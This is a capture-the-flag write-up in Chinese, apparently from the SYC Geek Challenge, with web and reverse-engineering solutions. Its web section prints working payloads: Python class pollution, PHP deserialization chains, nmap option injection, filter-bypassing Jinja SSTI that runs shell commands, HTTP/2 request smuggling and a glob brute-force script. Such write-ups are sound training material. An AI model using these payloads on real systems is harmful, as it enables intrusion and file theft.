if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")

代码中有 merge() 函数,参考:Python原型链污染变体(prototype-pollution-in-python)

waf中包含 isvip,使用Unicode编码绕过关键字过滤。

对路由 /register,POST {"username":"xx","password":"yy","__class__" : {"__base__" : {"is\u0076ip" : 1}}}

再登录访问 /flag,用 + 绕过判断:/flag?num=+123456789,查看源码得到flag。

ez_php

我的女神呢?快帮我找找

源码在 havefun.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');

class Me {
public $qwe;
public $bro;
public $secret;

public function __wakeup() {
echo("进来啦<br>");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;

if($this->bro===$this->secret){
$bb = $this->qwe;
return $bb();
}

else{
echo("错了哥们,再试试吧<br>");
}
}

}

class her{
private $hername;
private $key;
public $asd;
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}

public function find() {
echo("你能找到加密用的key和她的名字吗?qwq<br>");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!<br>");
$file=$_GET['file'];

if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!<br>");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!<br>");
}
}
else{
echo("兄弟怎么搞的?<br>");
}
}
}

class important{
public $power;

public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}

class useless {
private $seeyou;
public $QW;
public $YXX;

public function __construct($seeyou) {
$this->seeyou = $seeyou;
}

public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);

if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了<br>");
$a = isset($_GET['a'])? $_GET['a']: "" ;

if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('<br>');

if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}

if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???<br>");
}
}
else {
echo("快帮我找找她!<br>");
}
?>

先反序列化 useless 类的 __destruct() 拿到 key.php

ArrayObject 绕过 /^[Oa]:[\d]+/i,md5碰撞,再根据 and 的优先级无视 $random

C:11:"ArrayObject":196:{x:i:0;O:7:"useless":2:{s:2:"QW";s:64:"M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2";s:3:"YXX";s:64:"M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2";};m:a:0:{}}

basename() 绕过 $_SERVER['PHP_SELF']

/havefun.php/key.php?user=C:11:%22ArrayObject%22:196:{x:i:0;O:7:%22useless%22:2:{s:2:%22QW%22;s:64:%22M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2%22;s:3:%22YXX%22;s:64:%22M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2%22;};m:a:0:{}}&a=PHP_SELF

得到图片,信息是 key=9

download

最后再来一次反序列化链调用:

1
2
3
4
5
Me:__wakeup() (引用)
her:__invoke()
important:__sleep()
useless:__get()
her:find()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class Me {
public $qwe;
public $bro;
public $secret;
public function __construct(){
$this->qwe = new her;
$this->bro = &$this->secret;
}
}

class her{
private $hername;
private $key;
public $asd;
public function __construct(){
$this->asd = new important;
}
}

class important{
public $power;
public function __construct(){
$this->power = new useless;
}
}

class useless {
private $seeyou;
public $QW;
public $YXX;
public function __construct() {
$this->seeyou = array('seeyou'=>array(new hez,'find'));
}
}

class hez{
private $hername;
private $key;
public $asd;
public function __construct(){
$this->hername = 'momo';
$this->key = '9';
}
}


$a=new Me;
echo urlencode(serialize($a));

phpinfo(),修改引用11为13:

C:11:%22ArrayObject%22:260:{x:i:0;O%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3BN%3Bs%3A8%3A%22%00her%00key%22%3BN%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A13%3B%7D;m:a:0:{}}

修改引用16为18,改hez为her:

C:11:%22ArrayObject%22:351:{x:i:0;O%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3BN%3Bs%3A8%3A%22%00her%00key%22%3BN%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D;m:a:0:{}}

最终payload,列目录:

?user=C:11:%22ArrayObject%22:351:{x:i:0;O%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3BN%3Bs%3A8%3A%22%00her%00key%22%3BN%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D;m:a:0:{}}&file=data://text/plain,loveyou&fun=glob://f*

POST: ctf=DirectoryIterator

得到flag文件名为 flag_my_baby.php

再读flag文件:

?user=C:11:%22ArrayObject%22:351:{x:i:0;O%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3BN%3Bs%3A8%3A%22%00her%00key%22%3BN%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D;m:a:0:{}}&file=data://text/plain,loveyou&fun=php://filter/convert.base64-encode/resource=flag_my_baby.php

POST: ctf=SplFileObject

结果base64解码即得flag。

scan_tool

nmap也太好用了!不是吧,你还不会用吗?

过滤了 ? php flag iL oN

参考:[网鼎杯 2020 朱雀组]Nmap

使用nmap读文件,选项 -oA,该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。

使用 ?ip=127.0.0.1' -i /fl""ag -oA 1 ',再访问 1.nmap 得到flag。

klf_2

”可恶,我不信,我绝对不是klf,你们才是,哈哈这次我卷土重来了,你们肯定是klf,我要向女神证明自己…“

robots.txt 得路由 /secr3ttt,测试过滤关键字有:

[ ] _ ' " \ config init globals os import request open read 0 137 pop

列目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set pp=dict(po=a,p=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set so=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set xhx=(lipsum|string|list)|attr(pp)(18) %}
{% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %}
{% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set sp=char(32)%}
{% set d=char(47)%}
{% set op=(dict(ls=a)|join,sp,d,dict(ap=a,p=a)|join)|join %}
{% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %}
{%print(f)%}

得到flag文件名 fl4gfl4gfl4g,再读flag文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set pp=dict(po=a,p=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set so=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set xhx=(lipsum|string|list)|attr(pp)(18) %}
{% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %}
{% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set sp=char(32)%}
{% set d=char(47)%}
{% set op=(dict(c=a,at=a)|join,sp,d,dict(ap=a,p=a)|join,d,dict(fl4gfl4gfl4g=a)|join)|join %}
{% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %}
{%print(f)%}

EZ_Smuggling

这是一个简单的H2转H1的小网站,站长认为他很安全,没有人能在他的网站走私任何东西。 题目链接:https://47.108.56.168:20231/ 备用链接1:https://47.108.56.168:20232/ 备用链接2:https://47.108.56.168:20233/

H2.CL请求走私,参考:

HTTP Request Smuggling – HTTP/2 Downgrade Attack Part 2

构造:

1
2
3
4
5
6
7
8
9
GET / HTTP/2
Host: 47.108.56.168:20231
Cookie: session=MTcwMDQ5OTczNnwzRERyQTlLa0hLMlp4YW9McS1yOHh6VVFHQktaRHdWREc2cEtlNTZwTG5XMV9Ic0lGd3h1QzhCNkkxeFJLLXlYYlN0enhQdWpHRkltTjhfUEhEdThMejdKMFJ5YmVaMFV8Zx0CM7urEt3li5yAVGtbS4fn-CoU8kNQ2W_IosQOhg8=
Content-Length: 0

GET /admin HTTP/1.1
Host: 47.108.56.168:20231
Cookie: session=MTcwMDQ5OTczNnwzRERyQTlLa0hLMlp4YW9McS1yOHh6VVFHQktaRHdWREc2cEtlNTZwTG5XMV9Ic0lGd3h1QzhCNkkxeFJLLXlYYlN0enhQdWpHRkltTjhfUEhEdThMejdKMFJ5YmVaMFV8Zx0CM7urEt3li5yAVGtbS4fn-CoU8kNQ2W_IosQOhg8=
Content-Length: 0

即可得flag:SYC{http2_5muggl1ng_15_1nt3r3st1ng}

klf_3

”好好好这都给你们做出来了,这次我拜托了pursue0h帮我收集了你们前几次的payload,这次绝对不可能让你们做出来,你们绝对是klf“

robots.txt 得到路由 /secr3ttt,同klf_2相同打法即可。

列目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set pp=dict(po=a,p=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set so=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set xhx=(lipsum|string|list)|attr(pp)(18) %}
{% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %}
{% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set sp=char(32)%}
{% set d=char(47)%}
{% set op=(dict(ls=a)|join,sp,d,dict(ap=a,p=a)|join)|join %}
{% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %}
{%print(f)%}

得到flag文件名 fl4gfl4gfl4g,再读flag文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set pp=dict(po=a,p=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set so=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set xhx=(lipsum|string|list)|attr(pp)(18) %}
{% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %}
{% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set sp=char(32)%}
{% set d=char(47)%}
{% set op=(dict(c=a,at=a)|join,sp,d,dict(ap=a,p=a)|join,d,dict(fl4gfl4gfl4g=a)|join)|join %}
{% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %}
{%print(f)%}

Akane!

最适合梅菲斯特的一题

glob协议侧信道爆破文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from phpserialize import serialize
import base64

class Idol:
public_Akane='glob:///etc/passss'

class Hoshino:
public_Ruby=Idol()

res = res.replace(b'"Hoshino":1',b'"Hoshino":2')
print(res)
print(base64.b64encode(res))

# O:7:"Hoshino":1:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:18:"glob:///etc/passwd";}}
# 绕wakeup
# O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:18:"glob:///etc/passwd";}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string
import base64

url = 'https://zwgadnbkohe7t6xz02urbct9b.node.game.sycsec.com/?tuizi='
filename = '/var/www/html/The************************.php'
dic = string.printable

name = ''
for i in range(24):
for j in dic:
guess = f'glob:///var/www/html/The{name+j}{"*"*(23-len(name))}.php'
payload = f'O:7:"Hoshino":2:{{s:4:"Ruby";O:4:"Idol":1:{{s:5:"Akane";s:{len(guess)}:"{guess}";}}}}'.encode()
r = requests.get(f'{url}{base64.b64encode(payload).decode()}')
if 'Kurokawa Akane' in r.text:
name += j
print(name)
break

print(name)

# S4crEtF1AgFi1EByo2takuXX

再访问 /var/www/html/TheS4crEtF1AgFi1EByo2takuXX.php 即可得flag。

RE

shiftjmp

跳到哪里去了?

用IDA解析程序崩溃,改用Ghidra解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
undefined8 main(void)

{
uint uVar1;
uint uStack12;

puts("flag:");
uStack12 = 0;
while( true ) {
if (0x21 < (int)uStack12) {
puts("yes");
return 0;
}
uVar1 = func_0x00101070();
if ((uVar1 ^ uStack12) != (int)(char)rodata[uStack12]) break;
uStack12 = uStack12 + 1;
}
puts("no");
return 0;

}

逻辑为简单异或操作,还原:

1
2
3
4
5
rodata = list(bytes.fromhex('5358417853366a6438646f547842517b78224d61276373452d7c456c2c6f2f7b5e5c'))
flag = [rodata[i]^i for i in range(41)]
print(bytes(flag))

# b'SYC{W3lc0me_tO_th3_r3veR5e_w0r1d~}'

点击就送的逆向题

代码如何到可执行二进制文件?(记得将得到的正确字符串包裹上SYC{}!!!!!!!)

将s文件编译:gcc xxx.s -o xxx

关键代码:

1
2
3
4
5
6
7
8
9
v7 = __readfsqword(0x28u);
strcpy(s2, "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM");
__isoc99_scanf(&unk_2004, s1);
for ( i = 0; i <= 31; ++i )
s1[i] += 7;
if ( !strcmp(s1, s2) )
printf("wrong!");
puts("good!");
return 0;

逻辑为ROT7,cyberchef还原为 SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF

flag:SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}

easymath

别担心,没学过线性代数也可以做出来,听说z3老师很厉害。flag请使用SYC{}包裹。

前部分代码为 $\mathbb{Z}_{32}$ 下矩阵乘法:$L \cdot M = I$

后部分代码,根据代码测试代码逻辑:

1
2
3
4
5
6
7
8
flag = 'c01234_asdzxpoityumnbAOZWXGMY'
table = '01234_asdzxcpoityumnbAOZWXGMY'
pos = [table.index(flag[i])+48 for i in range(len(flag))]
print(pos)
print(bytes(pos))
num = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 19, 22, 26, 27, 28, 29, 31, 32, 50, 51, 52, 53, 54, 55, 56]
last = [num[k-48] for k in pos]
print(last)

逻辑为将flag按照num来编序号。

还原脚本:

1
2
3
4
5
6
7
8
9
10
11
M = matrix(Zmod(32), [[18, 29, 16, 19, 27], [8, 31, 8, 23, 30], [29, 3, 28, 10, 21], [18, 29, 8, 16, 28], [11, 30, 7, 20, 7]])
I = identity_matrix(Zmod(32), 5)
L = I*M^-1
m = L.list()

num = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 19, 22, 26, 27, 28, 29, 31, 32, 50, 51, 52, 53, 54, 55, 56]
table = '01234_asdzxcpoityumnbAOZWXGMY'
flag = [table[num.index(m[i])] for i in range(25)]
print(''.join(flag))

# xtd4co_ymiunbbx3Aypsmbzii

flag:SYC{xtd4co_ymiunbbx3Aypsmbzii}

幸运数字

试试今天的运势

按逻辑还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
data = [13,   7,  29,  37,  29, 110,  48,  57,  44,  63, 
42, 43, 50, 63, 42, 55, 110, 48, 48, 48,
48, 45, 1, 7, 49, 43, 1, 57, 31, 59,
45, 45, 27, 58, 1, 12, 111, 57, 54, 42,
35]

def cal(k):
return k*(k+1)//2

for k in range(1000):
x = [data[i]^(cal(k)%0xd3) for i in range(41)]
if x[-1] == 125:
print(k, bytes(x))

# b'SYC{C0ngratulati0nnnns_You_gAessEd_R1ght}'

听说cpp很难?

xxx师傅偶然听到有人说cpp很难,真的很难吗?不会吧,不会吧。于是,X师傅连忙出了一道给大伙儿涨涨信心。

动调,得到逻辑为 $[(9+1) \oplus (f_i+10)]-9-1$。

爆破还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c = [77, 95, 61, -123, 55, 104, 115, 87, 39, 104, 81, 89, 127, 38, 107, 89, 115, 87, 85, 91, 89, 111, 106, 89, 39, 87, 114, 87, 79, 87, 120, 120, -125]

def cal(x):
return ((9+1)^(x+10))-9-1

f=[]
for i in range(len(c)):
for j in range(256):
if cal(j) == c[i]:
f.append(j)

print(bytes(f))

# b'SYCAnma1nG_y0u_maKe_it_1alaIa~~'

flag:SYC{Anma1nG_y0u_maKe_it_1alaIa~~}

砍树

你会安卓吗?我反正不会

jadx查看apk,用IDA在so文件中查看主要逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
_BOOL8 __fastcall Java_com_sky_ezreeeee_MainActivity_I0o0I(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
int i; // [rsp+Ch] [rbp-64h]
__int64 v6; // [rsp+10h] [rbp-60h]
_BOOL4 v7; // [rsp+1Ch] [rbp-54h]
unsigned __int8 *v9; // [rsp+20h] [rbp-50h]
unsigned __int8 *v10; // [rsp+28h] [rbp-48h]
char dest[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+68h] [rbp-8h]

v12 = __readfsqword(0x28u);
v10 = (unsigned __int8 *)jstring_2unsigchar(a1, a3);
v9 = (unsigned __int8 *)jstring_2unsigchar(a1, a4);
v6 = A0OWO0A(v10, v9);
memcpy(dest, &unk_14900, 0x23uLL);
for ( i = 0; i < 34; ++i )
v7 = *(unsigned __int8 *)(v6 + i) == (unsigned __int8)dest[i];
return v7;
}

unsigned __int8 *__fastcall A0OWO0A(unsigned __int8 *a1, const unsigned __int8 *a2)
{
int i; // [rsp+4h] [rbp-14h]

for ( i = 0; i < 34; ++i )
a1[i] ^= a2[i % 7];
return a1;
}

简单异或运算,提取密文:002020171B360E362617042A2907261552332D0F3A271106330746173D0A3C382E2218,密钥:Syclove,Cyberchef异或操作得 SYC{t@ke_thE_bul1_By_the_h0rns_TAT}

flower-or-tea

Flower ?or tea? or flower tea?

去除jmp花指令,全局替换 74 03 75 01 XX90 90 90 90 90 (NOP)。

看伪码为魔改XTEA算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import *
c = [75, 70, 249, 154, 158, 184, 23, 196, 19, 167,
23, 178, 232, 169, 59, 201, 78, 228, 243, 148,
181, 42, 204, 181, 44, 228, 81, 68, 154, 40,
138, 122, 8, 208, 200, 83, 73, 123, 17, 110,
148, 215, 255, 155, 249, 45, 255, 94, 49, 37,
231, 23, 121, 153, 189, 223, 58, 27, 135, 143,
172, 197, 232, 115, 166, 112, 134, 178, 105, 163,
246, 90, 36, 218, 247, 44, 175, 102, 123, 52,
96, 77, 200, 185, 47, 145, 30, 145, 155, 47,
90, 189, 58, 115, 150, 203, 190, 104, 153, 197,
233, 19, 0, 160, 164, 78, 47, 193, 16, 58,
134, 222, 148, 213, 196, 160, 60, 152, 128, 67,
72, 118, 47, 126, 137, 220, 77, 229, 144, 166,
39, 63, 153, 49, 141, 181, 23, 229, 74, 96,
132, 57, 144, 156, 129, 68, 224, 244, 255, 237,
244, 60]
c = [bytes_to_long(bytes(c[4*i:4*i+4])[::-1]) for i in range(len(c)//4)]
print(c)

k = [32,27,39,44]
rounds = 54
delta = 0x31415927

def decrypt(v):
v0 = v[0]
v1 = v[1]
x = delta * rounds
for i in range(rounds):
x -= delta
x = x & 0xFFFFFFFF
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[x & 3])
v1 = v1 & 0xFFFFFFFF
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[(x >> 11) & 3]) ^ x
v0 = v0 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

fl = b''
fr = b''
for i in range(len(c)//2):
cc = c[2*i:2*i+2][::-1]
m = decrypt(cc)
fr = long_to_bytes(m[0])[::-1] + fr
fl += long_to_bytes(m[1])[::-1]

print(fl)
print(fr)
print(fl+fr)

# b'SYC{D0_Yov_1ike_To_dRink_Flow3r_teA??}'

mySelf

Why so serious?

动调,得到第二个对输入的加密逻辑为TEA算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import *
c = [240, 249, 189, 189, 196, 148, 97, 226, 37, 145,
121, 128, 25, 194, 15, 31, 21, 24, 106, 235,
197, 114, 245, 132, 133, 58, 204, 64, 187, 42,
163, 210]
c = [bytes_to_long(bytes(c[4*i:4*i+4])[::-1]) for i in range(len(c)//4)]
print(c)

k = [2,2,3,4]

def decrypt(v, k):
v0 = v[0]
v1 = v[1]
x = 0x9E3779B9 * 32
delta = 0x9E3779B9
k0 = k[0]
k1 = k[1]
k2 = k[2]
k3 = k[3]
for i in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

flag = b''
for i in range(len(c)//2):
cc = c[2*i:2*i+2]
m = decrypt(cc,k)
flag += long_to_bytes(m[0])[::-1]
flag += long_to_bytes(m[1])[::-1]

print(flag)

# b'SYC{H0w_7o_R@te_YOurs31f_iNtRo?}'

rainbow

美丽的IDA控制流视图 like Rainbow!

LLVM去平坦化:

python3 deflat.py -f ./rainbow --addr 0x401160

再简单逆回去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *

c = [0x627B44508E415865,0x847D6C49547E4A57,0x4877646060955B4F,0x622D3C689F7B4D7D]
cc = []

for k in c:
cc += list(long_to_bytes(k)[::-1])

for i in range(len(cc)):
cc[i] ^= i
if i%3 == 0:
cc[i] -= 18

print(bytes(cc))

# SYC{TAke_1t_3asy_Just_a_STart!!}

小黄鸭

小黄鸭的钥匙被一个叫毗外的大坏鸭偷走了,你能帮它找到钥匙吗?

python反编译,得到1.pyc,修复为3.7的文件头 550d0d0a,还原python代码。

密文:~h|p4gs`gJdN`thPwR`jDn`te1w`2|RNH

Cyberchef解:ROT93+Reverse+ROT12

得到:SYC{1_h0pe_yOu_ChAse_YoUr_dr3a{s}

修正一下得flag:SYC{1_h0pe_yOu_ChAse_YoUr_dr3ams}

寻找初音未来

正确的输入即可解救Miku~(图有点大了忍一下)

Go程序,代码逻辑为RC4,动调得 key='C'*18

输入问题 初音未来色是多少?(输入为16进制,如0x123abc则输入123abc) 答案 39C5BB,提取密文,RC4解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
N = 256
S = [0] * N
key = 'C'*18
Key = [0] * N

t = [ 0x25, 0x6F, 0x3D, 0x6C, 0xF9, 0xE0, 0xCF, 0x3F, 0x2E, 0x24,
0xC6, 0x7B, 0x81, 0xBF, 0x55, 0x4F, 0x0D, 0x99, 0x87, 0x47,
